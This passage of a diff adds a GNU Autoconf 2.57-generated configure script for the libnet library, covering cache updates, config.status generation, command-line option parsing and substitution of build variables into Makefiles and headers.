+# but we know of no workaround that is simple, portable, and efficient.
+# So, don't put newlines in cache variables' values.
+# Ultrix sh set writes to stderr and can't be redirected directly,
+# and sets the high bit in the cache file unless we assign to the vars.
+{
+ (set) 2>&1 |
+ case `(ac_space=' '; set | grep ac_space) 2>&1` in
+ *ac_space=\ *)
+ # `set' does not quote correctly, so add quotes (double-quote
+ # substitution turns \\\\ into \\, and sed turns \\ into \).
+ sed -n \
+ "s/'/'\\\\''/g;
+ s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p"
+ ;;
+ *)
+ # `set' quotes correctly as required by POSIX, so do not add quotes.
+ sed -n \
+ "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p"
+ ;;
+ esac;
+} |
+ sed '
+ t clear
+ : clear
+ s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/
+ t end
+ /^ac_cv_env/!s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/
+ : end' >>confcache
+if diff $cache_file confcache >/dev/null 2>&1; then :; else
+ if test -w $cache_file; then
+ test "x$cache_file" != "x/dev/null" && echo "updating cache $cache_file"
+ cat confcache >$cache_file
+ else
+ echo "not updating unwritable cache $cache_file"
+ fi
+fi
+rm -f confcache
+
+test "x$prefix" = xNONE && prefix=$ac_default_prefix
+# Let make expand exec_prefix.
+test "x$exec_prefix" = xNONE && exec_prefix='${prefix}'
+
+# VPATH may cause trouble with some makes, so we remove $(srcdir),
+# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and
+# trailing colons and then remove the whole line if VPATH becomes empty
+# (actually we leave an empty line to preserve line numbers).
+if test "x$srcdir" = x.; then
+ ac_vpsub='/^[ ]*VPATH[ ]*=/{
+s/:*\$(srcdir):*/:/;
+s/:*\${srcdir}:*/:/;
+s/:*@srcdir@:*/:/;
+s/^\([^=]*=[ ]*\):*/\1/;
+s/:*$//;
+s/^[^=]*=[ ]*$//;
+}'
+fi
+
+DEFS=-DHAVE_CONFIG_H
+
+ac_libobjs=
+ac_ltlibobjs=
+for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue
+ # 1. Remove the extension, and $U if already installed.
+ ac_i=`echo "$ac_i" |
+ sed 's/\$U\././;s/\.o$//;s/\.obj$//'`
+ # 2. Add them.
+ ac_libobjs="$ac_libobjs $ac_i\$U.$ac_objext"
+ ac_ltlibobjs="$ac_ltlibobjs $ac_i"'$U.lo'
+done
+LIBOBJS=$ac_libobjs
+
+LTLIBOBJS=$ac_ltlibobjs
+
+
+if test -z "${MAINTAINER_MODE_TRUE}" && test -z "${MAINTAINER_MODE_FALSE}"; then
+ { { echo "$as_me:$LINENO: error: conditional \"MAINTAINER_MODE\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"MAINTAINER_MODE\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then
+ { { echo "$as_me:$LINENO: error: conditional \"AMDEP\" was never defined.
+Usually this means the macro was only invoked conditionally." >&5
+echo "$as_me: error: conditional \"AMDEP\" was never defined.
+Usually this means the macro was only invoked conditionally." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+: ${CONFIG_STATUS=./config.status}
+ac_clean_files_save=$ac_clean_files
+ac_clean_files="$ac_clean_files $CONFIG_STATUS"
+{ echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5
+echo "$as_me: creating $CONFIG_STATUS" >&6;}
+cat >$CONFIG_STATUS <<_ACEOF
+#! $SHELL
+# Generated by $as_me.
+# Run this file to recreate the current configuration.
+# Compiler output produced by configure, useful for debugging
+# configure, is in config.log if it exists.
+
+debug=false
+ac_cs_recheck=false
+ac_cs_silent=false
+SHELL=\${CONFIG_SHELL-$SHELL}
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+## --------------------- ##
+## M4sh Initialization. ##
+## --------------------- ##
+
+# Be Bourne compatible
+if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
+ emulate sh
+ NULLCMD=:
+ # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which
+ # is contrary to our usage. Disable this feature.
+ alias -g '${1+"$@"}'='"$@"'
+elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then
+ set -o posix
+fi
+
+# Support unset when possible.
+if (FOO=FOO; unset FOO) >/dev/null 2>&1; then
+ as_unset=unset
+else
+ as_unset=false
+fi
+
+
+# Work around bugs in pre-3.0 UWIN ksh.
+$as_unset ENV MAIL MAILPATH
+PS1='$ '
+PS2='> '
+PS4='+ '
+
+# NLS nuisances.
+for as_var in \
+ LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
+ LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
+ LC_TELEPHONE LC_TIME
+do
+ if (set +x; test -n "`(eval $as_var=C; export $as_var) 2>&1`"); then
+ eval $as_var=C; export $as_var
+ else
+ $as_unset $as_var
+ fi
+done
+
+# Required to use basename.
+if expr a : '\(a\)' >/dev/null 2>&1; then
+ as_expr=expr
+else
+ as_expr=false
+fi
+
+if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then
+ as_basename=basename
+else
+ as_basename=false
+fi
+
+
+# Name of the executable.
+as_me=`$as_basename "$0" ||
+$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
+ X"$0" : 'X\(//\)$' \| \
+ X"$0" : 'X\(/\)$' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X/"$0" |
+ sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; }
+ /^X\/\(\/\/\)$/{ s//\1/; q; }
+ /^X\/\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+
+
+# PATH needs CR, and LINENO needs CR and PATH.
+# Avoid depending upon Character Ranges.
+as_cr_letters='abcdefghijklmnopqrstuvwxyz'
+as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
+as_cr_Letters=$as_cr_letters$as_cr_LETTERS
+as_cr_digits='0123456789'
+as_cr_alnum=$as_cr_Letters$as_cr_digits
+
+# The user is always right.
+if test "${PATH_SEPARATOR+set}" != set; then
+ echo "#! /bin/sh" >conf$$.sh
+ echo "exit 0" >>conf$$.sh
+ chmod +x conf$$.sh
+ if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then
+ PATH_SEPARATOR=';'
+ else
+ PATH_SEPARATOR=:
+ fi
+ rm -f conf$$.sh
+fi
+
+
+ as_lineno_1=$LINENO
+ as_lineno_2=$LINENO
+ as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+ test "x$as_lineno_1" != "x$as_lineno_2" &&
+ test "x$as_lineno_3" = "x$as_lineno_2" || {
+ # Find who we are. Look in the path if we contain no path at all
+ # relative or not.
+ case $0 in
+ *[\\/]* ) as_myself=$0 ;;
+ *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
+done
+
+ ;;
+ esac
+ # We did not find ourselves, most probably we were run as `sh COMMAND'
+ # in which case we are not to be found in the path.
+ if test "x$as_myself" = x; then
+ as_myself=$0
+ fi
+ if test ! -f "$as_myself"; then
+ { { echo "$as_me:$LINENO: error: cannot find myself; rerun with an absolute path" >&5
+echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2;}
+ { (exit 1); exit 1; }; }
+ fi
+ case $CONFIG_SHELL in
+ '')
+ as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH
+do
+ IFS=$as_save_IFS
+ test -z "$as_dir" && as_dir=.
+ for as_base in sh bash ksh sh5; do
+ case $as_dir in
+ /*)
+ if ("$as_dir/$as_base" -c '
+ as_lineno_1=$LINENO
+ as_lineno_2=$LINENO
+ as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null`
+ test "x$as_lineno_1" != "x$as_lineno_2" &&
+ test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then
+ $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; }
+ $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; }
+ CONFIG_SHELL=$as_dir/$as_base
+ export CONFIG_SHELL
+ exec "$CONFIG_SHELL" "$0" ${1+"$@"}
+ fi;;
+ esac
+ done
+done
+;;
+ esac
+
+ # Create $as_me.lineno as a copy of $as_myself, but with $LINENO
+ # uniformly replaced by the line number. The first 'sed' inserts a
+ # line-number line before each line; the second 'sed' does the real
+ # work. The second script uses 'N' to pair each line-number line
+ # with the numbered line, and appends trailing '-' during
+ # substitution so that $LINENO is not a special case at line end.
+ # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
+ # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-)
+ sed '=' <$as_myself |
+ sed '
+ N
+ s,$,-,
+ : loop
+ s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\1\2\1\3,
+ t loop
+ s,-$,,
+ s,^['$as_cr_digits']*\n,,
+ ' >$as_me.lineno &&
+ chmod +x $as_me.lineno ||
+ { { echo "$as_me:$LINENO: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&5
+echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2;}
+ { (exit 1); exit 1; }; }
+
+ # Don't try to exec as it changes $[0], causing all sort of problems
+ # (the dirname of $[0] is not the place where we might find the
+ # original and so on. Autoconf is especially sensible to this).
+ . ./$as_me.lineno
+ # Exit status is that of the last command.
+ exit
+}
+
+
+case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in
+ *c*,-n*) ECHO_N= ECHO_C='
+' ECHO_T=' ' ;;
+ *c*,* ) ECHO_N=-n ECHO_C= ECHO_T= ;;
+ *) ECHO_N= ECHO_C='\c' ECHO_T= ;;
+esac
+
+if expr a : '\(a\)' >/dev/null 2>&1; then
+ as_expr=expr
+else
+ as_expr=false
+fi
+
+rm -f conf$$ conf$$.exe conf$$.file
+echo >conf$$.file
+if ln -s conf$$.file conf$$ 2>/dev/null; then
+ # We could just check for DJGPP; but this test a) works b) is more generic
+ # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04).
+ if test -f conf$$.exe; then
+ # Don't use ln at all; we don't have any links
+ as_ln_s='cp -p'
+ else
+ as_ln_s='ln -s'
+ fi
+elif ln conf$$.file conf$$ 2>/dev/null; then
+ as_ln_s=ln
+else
+ as_ln_s='cp -p'
+fi
+rm -f conf$$ conf$$.exe conf$$.file
+
+if mkdir -p . 2>/dev/null; then
+ as_mkdir_p=:
+else
+ as_mkdir_p=false
+fi
+
+as_executable_p="test -f"
+
+# Sed expression to map a string onto a valid CPP name.
+as_tr_cpp="sed y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g"
+
+# Sed expression to map a string onto a valid variable name.
+as_tr_sh="sed y%*+%pp%;s%[^_$as_cr_alnum]%_%g"
+
+
+# IFS
+# We need space, tab and new line, in precisely that order.
+as_nl='
+'
+IFS=" $as_nl"
+
+# CDPATH.
+$as_unset CDPATH
+
+exec 6>&1
+
+# Open the log real soon, to keep \$[0] and so on meaningful, and to
+# report actual input values of CONFIG_FILES etc. instead of their
+# values after options handling. Logging --version etc. is OK.
+exec 5>>config.log
+{
+ echo
+ sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX
+## Running $as_me. ##
+_ASBOX
+} >&5
+cat >&5 <<_CSEOF
+
+This file was extended by $as_me, which was
+generated by GNU Autoconf 2.57. Invocation command line was
+
+ CONFIG_FILES = $CONFIG_FILES
+ CONFIG_HEADERS = $CONFIG_HEADERS
+ CONFIG_LINKS = $CONFIG_LINKS
+ CONFIG_COMMANDS = $CONFIG_COMMANDS
+ $ $0 $@
+
+_CSEOF
+echo "on `(hostname || uname -n) 2>/dev/null | sed 1q`" >&5
+echo >&5
+_ACEOF
+
+# Files that config.status was made for.
+if test -n "$ac_config_files"; then
+ echo "config_files=\"$ac_config_files\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_headers"; then
+ echo "config_headers=\"$ac_config_headers\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_links"; then
+ echo "config_links=\"$ac_config_links\"" >>$CONFIG_STATUS
+fi
+
+if test -n "$ac_config_commands"; then
+ echo "config_commands=\"$ac_config_commands\"" >>$CONFIG_STATUS
+fi
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+ac_cs_usage="\
+\`$as_me' instantiates files from templates according to the
+current configuration.
+
+Usage: $0 [OPTIONS] [FILE]...
+
+ -h, --help print this help, then exit
+ -V, --version print version number, then exit
+ -q, --quiet do not print progress messages
+ -d, --debug don't remove temporary files
+ --recheck update $as_me by reconfiguring in the same conditions
+ --file=FILE[:TEMPLATE]
+ instantiate the configuration file FILE
+ --header=FILE[:TEMPLATE]
+ instantiate the configuration header FILE
+
+Configuration files:
+$config_files
+
+Configuration headers:
+$config_headers
+
+Configuration commands:
+$config_commands
+
+Report bugs to <bug-autoconf@gnu.org>."
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+ac_cs_version="\\
+config.status
+configured by $0, generated by GNU Autoconf 2.57,
+ with options \\"`echo "$ac_configure_args" | sed 's/[\\""\`\$]/\\\\&/g'`\\"
+
+Copyright 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001
+Free Software Foundation, Inc.
+This config.status script is free software; the Free Software Foundation
+gives unlimited permission to copy, distribute and modify it."
+srcdir=$srcdir
+INSTALL="$INSTALL"
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+# If no file are specified by the user, then we need to provide default
+# value. By we need to know if files were specified by the user.
+ac_need_defaults=:
+while test $# != 0
+do
+ case $1 in
+ --*=*)
+ ac_option=`expr "x$1" : 'x\([^=]*\)='`
+ ac_optarg=`expr "x$1" : 'x[^=]*=\(.*\)'`
+ ac_shift=:
+ ;;
+ -*)
+ ac_option=$1
+ ac_optarg=$2
+ ac_shift=shift
+ ;;
+ *) # This is not an option, so the user has probably given explicit
+ # arguments.
+ ac_option=$1
+ ac_need_defaults=false;;
+ esac
+
+ case $ac_option in
+ # Handling of the options.
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+ -recheck | --recheck | --rechec | --reche | --rech | --rec | --re | --r)
+ ac_cs_recheck=: ;;
+ --version | --vers* | -V )
+ echo "$ac_cs_version"; exit 0 ;;
+ --he | --h)
+ # Conflict between --help and --header
+ { { echo "$as_me:$LINENO: error: ambiguous option: $1
+Try \`$0 --help' for more information." >&5
+echo "$as_me: error: ambiguous option: $1
+Try \`$0 --help' for more information." >&2;}
+ { (exit 1); exit 1; }; };;
+ --help | --hel | -h )
+ echo "$ac_cs_usage"; exit 0 ;;
+ --debug | --d* | -d )
+ debug=: ;;
+ --file | --fil | --fi | --f )
+ $ac_shift
+ CONFIG_FILES="$CONFIG_FILES $ac_optarg"
+ ac_need_defaults=false;;
+ --header | --heade | --head | --hea )
+ $ac_shift
+ CONFIG_HEADERS="$CONFIG_HEADERS $ac_optarg"
+ ac_need_defaults=false;;
+ -q | -quiet | --quiet | --quie | --qui | --qu | --q \
+ | -silent | --silent | --silen | --sile | --sil | --si | --s)
+ ac_cs_silent=: ;;
+
+ # This is an error.
+ -*) { { echo "$as_me:$LINENO: error: unrecognized option: $1
+Try \`$0 --help' for more information." >&5
+echo "$as_me: error: unrecognized option: $1
+Try \`$0 --help' for more information." >&2;}
+ { (exit 1); exit 1; }; } ;;
+
+ *) ac_config_targets="$ac_config_targets $1" ;;
+
+ esac
+ shift
+done
+
+ac_configure_extra_args=
+
+if $ac_cs_silent; then
+ exec 6>/dev/null
+ ac_configure_extra_args="$ac_configure_extra_args --silent"
+fi
+
+_ACEOF
+cat >>$CONFIG_STATUS <<_ACEOF
+if \$ac_cs_recheck; then
+ echo "running $SHELL $0 " $ac_configure_args \$ac_configure_extra_args " --no-create --no-recursion" >&6
+ exec $SHELL $0 $ac_configure_args \$ac_configure_extra_args --no-create --no-recursion
+fi
+
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+#
+# INIT-COMMANDS section.
+#
+
+AMDEP_TRUE="$AMDEP_TRUE" ac_aux_dir="$ac_aux_dir"
+
+_ACEOF
+
+
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+for ac_config_target in $ac_config_targets
+do
+ case "$ac_config_target" in
+ # Handling of arguments.
+ "Makefile" ) CONFIG_FILES="$CONFIG_FILES Makefile" ;;
+ "src/Makefile" ) CONFIG_FILES="$CONFIG_FILES src/Makefile" ;;
+ "include/Makefile" ) CONFIG_FILES="$CONFIG_FILES include/Makefile" ;;
+ "include/libnet/Makefile" ) CONFIG_FILES="$CONFIG_FILES include/libnet/Makefile" ;;
+ "sample/Makefile" ) CONFIG_FILES="$CONFIG_FILES sample/Makefile" ;;
+ "version.h" ) CONFIG_FILES="$CONFIG_FILES version.h" ;;
+ "include/libnet.h" ) CONFIG_FILES="$CONFIG_FILES include/libnet.h" ;;
+ "libnet-config" ) CONFIG_FILES="$CONFIG_FILES libnet-config" ;;
+ "depfiles" ) CONFIG_COMMANDS="$CONFIG_COMMANDS depfiles" ;;
+ "default" ) CONFIG_COMMANDS="$CONFIG_COMMANDS default" ;;
+ "include/config.h" ) CONFIG_HEADERS="$CONFIG_HEADERS include/config.h" ;;
+ *) { { echo "$as_me:$LINENO: error: invalid argument: $ac_config_target" >&5
+echo "$as_me: error: invalid argument: $ac_config_target" >&2;}
+ { (exit 1); exit 1; }; };;
+ esac
+done
+
+# If the user did not use the arguments to specify the items to instantiate,
+# then the envvar interface is used. Set only those that are not.
+# We use the long form for the default assignment because of an extremely
+# bizarre bug on SunOS 4.1.3.
+if $ac_need_defaults; then
+ test "${CONFIG_FILES+set}" = set || CONFIG_FILES=$config_files
+ test "${CONFIG_HEADERS+set}" = set || CONFIG_HEADERS=$config_headers
+ test "${CONFIG_COMMANDS+set}" = set || CONFIG_COMMANDS=$config_commands
+fi
+
+# Have a temporary directory for convenience. Make it in the build tree
+# simply because there is no reason to put it here, and in addition,
+# creating and moving files from /tmp can sometimes cause problems.
+# Create a temporary directory, and hook for its removal unless debugging.
+$debug ||
+{
+ trap 'exit_status=$?; rm -rf $tmp && exit $exit_status' 0
+ trap '{ (exit 1); exit 1; }' 1 2 13 15
+}
+
+# Create a (secure) tmp directory for tmp files.
+
+{
+ tmp=`(umask 077 && mktemp -d -q "./confstatXXXXXX") 2>/dev/null` &&
+ test -n "$tmp" && test -d "$tmp"
+} ||
+{
+ tmp=./confstat$$-$RANDOM
+ (umask 077 && mkdir $tmp)
+} ||
+{
+ echo "$me: cannot create a temporary directory in ." >&2
+ { (exit 1); exit 1; }
+}
+
+_ACEOF
+
+cat >>$CONFIG_STATUS <<_ACEOF
+
+#
+# CONFIG_FILES section.
+#
+
+# No need to generate the scripts if there are no CONFIG_FILES.
+# This happens for instance when ./config.status config.h
+if test -n "\$CONFIG_FILES"; then
+ # Protect against being on the right side of a sed subst in config.status.
+ sed 's/,@/@@/; s/@,/@@/; s/,;t t\$/@;t t/; /@;t t\$/s/[\\\\&,]/\\\\&/g;
+ s/@@/,@/; s/@@/@,/; s/@;t t\$/,;t t/' >\$tmp/subs.sed <<\\CEOF
+s,@SHELL@,$SHELL,;t t
+s,@PATH_SEPARATOR@,$PATH_SEPARATOR,;t t
+s,@PACKAGE_NAME@,$PACKAGE_NAME,;t t
+s,@PACKAGE_TARNAME@,$PACKAGE_TARNAME,;t t
+s,@PACKAGE_VERSION@,$PACKAGE_VERSION,;t t
+s,@PACKAGE_STRING@,$PACKAGE_STRING,;t t
+s,@PACKAGE_BUGREPORT@,$PACKAGE_BUGREPORT,;t t
+s,@exec_prefix@,$exec_prefix,;t t
+s,@prefix@,$prefix,;t t
+s,@program_transform_name@,$program_transform_name,;t t
+s,@bindir@,$bindir,;t t
+s,@sbindir@,$sbindir,;t t
+s,@libexecdir@,$libexecdir,;t t
+s,@datadir@,$datadir,;t t
+s,@sysconfdir@,$sysconfdir,;t t
+s,@sharedstatedir@,$sharedstatedir,;t t
+s,@localstatedir@,$localstatedir,;t t
+s,@libdir@,$libdir,;t t
+s,@includedir@,$includedir,;t t
+s,@oldincludedir@,$oldincludedir,;t t
+s,@infodir@,$infodir,;t t
+s,@mandir@,$mandir,;t t
+s,@build_alias@,$build_alias,;t t
+s,@host_alias@,$host_alias,;t t
+s,@target_alias@,$target_alias,;t t
+s,@DEFS@,$DEFS,;t t
+s,@ECHO_C@,$ECHO_C,;t t
+s,@ECHO_N@,$ECHO_N,;t t
+s,@ECHO_T@,$ECHO_T,;t t
+s,@LIBS@,$LIBS,;t t
+s,@build@,$build,;t t
+s,@build_cpu@,$build_cpu,;t t
+s,@build_vendor@,$build_vendor,;t t
+s,@build_os@,$build_os,;t t
+s,@host@,$host,;t t
+s,@host_cpu@,$host_cpu,;t t
+s,@host_vendor@,$host_vendor,;t t
+s,@host_os@,$host_os,;t t
+s,@target@,$target,;t t
+s,@target_cpu@,$target_cpu,;t t
+s,@target_vendor@,$target_vendor,;t t
+s,@target_os@,$target_os,;t t
+s,@INSTALL_PROGRAM@,$INSTALL_PROGRAM,;t t
+s,@INSTALL_SCRIPT@,$INSTALL_SCRIPT,;t t
+s,@INSTALL_DATA@,$INSTALL_DATA,;t t
+s,@PACKAGE@,$PACKAGE,;t t
+s,@VERSION@,$VERSION,;t t
+s,@ACLOCAL@,$ACLOCAL,;t t
+s,@AUTOCONF@,$AUTOCONF,;t t
+s,@AUTOMAKE@,$AUTOMAKE,;t t
+s,@AUTOHEADER@,$AUTOHEADER,;t t
+s,@MAKEINFO@,$MAKEINFO,;t t
+s,@AMTAR@,$AMTAR,;t t
+s,@install_sh@,$install_sh,;t t
+s,@STRIP@,$STRIP,;t t
+s,@ac_ct_STRIP@,$ac_ct_STRIP,;t t
+s,@INSTALL_STRIP_PROGRAM@,$INSTALL_STRIP_PROGRAM,;t t
+s,@AWK@,$AWK,;t t
+s,@SET_MAKE@,$SET_MAKE,;t t
+s,@MAINTAINER_MODE_TRUE@,$MAINTAINER_MODE_TRUE,;t t
+s,@MAINTAINER_MODE_FALSE@,$MAINTAINER_MODE_FALSE,;t t
+s,@MAINT@,$MAINT,;t t
+s,@CC@,$CC,;t t
+s,@CFLAGS@,$CFLAGS,;t t
+s,@LDFLAGS@,$LDFLAGS,;t t
+s,@CPPFLAGS@,$CPPFLAGS,;t t
+s,@ac_ct_CC@,$ac_ct_CC,;t t
+s,@EXEEXT@,$EXEEXT,;t t
+s,@OBJEXT@,$OBJEXT,;t t
+s,@DEPDIR@,$DEPDIR,;t t
+s,@am__include@,$am__include,;t t
+s,@am__quote@,$am__quote,;t t
+s,@AMDEP_TRUE@,$AMDEP_TRUE,;t t
+s,@AMDEP_FALSE@,$AMDEP_FALSE,;t t
+s,@AMDEPBACKSLASH@,$AMDEPBACKSLASH,;t t
+s,@CCDEPMODE@,$CCDEPMODE,;t t
+s,@RANLIB@,$RANLIB,;t t
+s,@ac_ct_RANLIB@,$ac_ct_RANLIB,;t t
+s,@CPP@,$CPP,;t t
+s,@EGREP@,$EGREP,;t t
+s,@ENDIANESS@,$ENDIANESS,;t t
+s,@LIBNET_VERSION@,$LIBNET_VERSION,;t t
+s,@HAVE_PACKET_SOCKET@,$HAVE_PACKET_SOCKET,;t t
+s,@ADDITIONAL_LIBS@,$ADDITIONAL_LIBS,;t t
+s,@LIBNET_CONFIG_DEFINES@,$LIBNET_CONFIG_DEFINES,;t t
+s,@LIBNET_CONFIG_LIBS@,$LIBNET_CONFIG_LIBS,;t t
+s,@LIBNET_CONFIG_CFLAGS@,$LIBNET_CONFIG_CFLAGS,;t t
+s,@LIBOBJS@,$LIBOBJS,;t t
+s,@LTLIBOBJS@,$LTLIBOBJS,;t t
+CEOF
+
+_ACEOF
+
+ cat >>$CONFIG_STATUS <<\_ACEOF
+ # Split the substitutions into bite-sized pieces for seds with
+ # small command number limits, like on Digital OSF/1 and HP-UX.
+ ac_max_sed_lines=48
+ ac_sed_frag=1 # Number of current file.
+ ac_beg=1 # First line for current file.
+ ac_end=$ac_max_sed_lines # Line after last line for current file.
+ ac_more_lines=:
+ ac_sed_cmds=
+ while $ac_more_lines; do
+ if test $ac_beg -gt 1; then
+ sed "1,${ac_beg}d; ${ac_end}q" $tmp/subs.sed >$tmp/subs.frag
+ else
+ sed "${ac_end}q" $tmp/subs.sed >$tmp/subs.frag
+ fi
+ if test ! -s $tmp/subs.frag; then
+ ac_more_lines=false
+ else
+ # The purpose of the label and of the branching condition is to
+ # speed up the sed processing (if there are no `@' at all, there
+ # is no need to browse any of the substitutions).
+ # These are the two extra sed commands mentioned above.
+ (echo ':t
+ /@[a-zA-Z_][a-zA-Z_0-9]*@/!b' && cat $tmp/subs.frag) >$tmp/subs-$ac_sed_frag.sed
+ if test -z "$ac_sed_cmds"; then
+ ac_sed_cmds="sed -f $tmp/subs-$ac_sed_frag.sed"
+ else
+ ac_sed_cmds="$ac_sed_cmds | sed -f $tmp/subs-$ac_sed_frag.sed"
+ fi
+ ac_sed_frag=`expr $ac_sed_frag + 1`
+ ac_beg=$ac_end
+ ac_end=`expr $ac_end + $ac_max_sed_lines`
+ fi
+ done
+ if test -z "$ac_sed_cmds"; then
+ ac_sed_cmds=cat
+ fi
+fi # test -n "$CONFIG_FILES"
+
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+for ac_file in : $CONFIG_FILES; do test "x$ac_file" = x: && continue
+ # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
+ case $ac_file in
+ - | *:- | *:-:* ) # input from stdin
+ cat >$tmp/stdin
+ ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+ *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+ * ) ac_file_in=$ac_file.in ;;
+ esac
+
+ # Compute @srcdir@, @top_srcdir@, and @INSTALL@ for subdirectories.
+ ac_dir=`(dirname "$ac_file") 2>/dev/null ||
+$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$ac_file" : 'X\(//\)[^/]' \| \
+ X"$ac_file" : 'X\(//\)$' \| \
+ X"$ac_file" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$ac_file" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ { if $as_mkdir_p; then
+ mkdir -p "$ac_dir"
+ else
+ as_dir="$ac_dir"
+ as_dirs=
+ while test ! -d "$as_dir"; do
+ as_dirs="$as_dir $as_dirs"
+ as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$as_dir" : 'X\(//\)[^/]' \| \
+ X"$as_dir" : 'X\(//\)$' \| \
+ X"$as_dir" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ done
+ test ! -n "$as_dirs" || mkdir $as_dirs
+ fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5
+echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;}
+ { (exit 1); exit 1; }; }; }
+
+ ac_builddir=.
+
+if test "$ac_dir" != .; then
+ ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+ # A "../" for each directory in $ac_dir_suffix.
+ ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+ ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+ .) # No --srcdir option. We are building in place.
+ ac_srcdir=.
+ if test -z "$ac_top_builddir"; then
+ ac_top_srcdir=.
+ else
+ ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+ fi ;;
+ [\\/]* | ?:[\\/]* ) # Absolute path.
+ ac_srcdir=$srcdir$ac_dir_suffix;
+ ac_top_srcdir=$srcdir ;;
+ *) # Relative path.
+ ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+ ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+# Don't blindly perform a `cd "$ac_dir"/$ac_foo && pwd` since $ac_foo can be
+# absolute.
+ac_abs_builddir=`cd "$ac_dir" && cd $ac_builddir && pwd`
+ac_abs_top_builddir=`cd "$ac_dir" && cd ${ac_top_builddir}. && pwd`
+ac_abs_srcdir=`cd "$ac_dir" && cd $ac_srcdir && pwd`
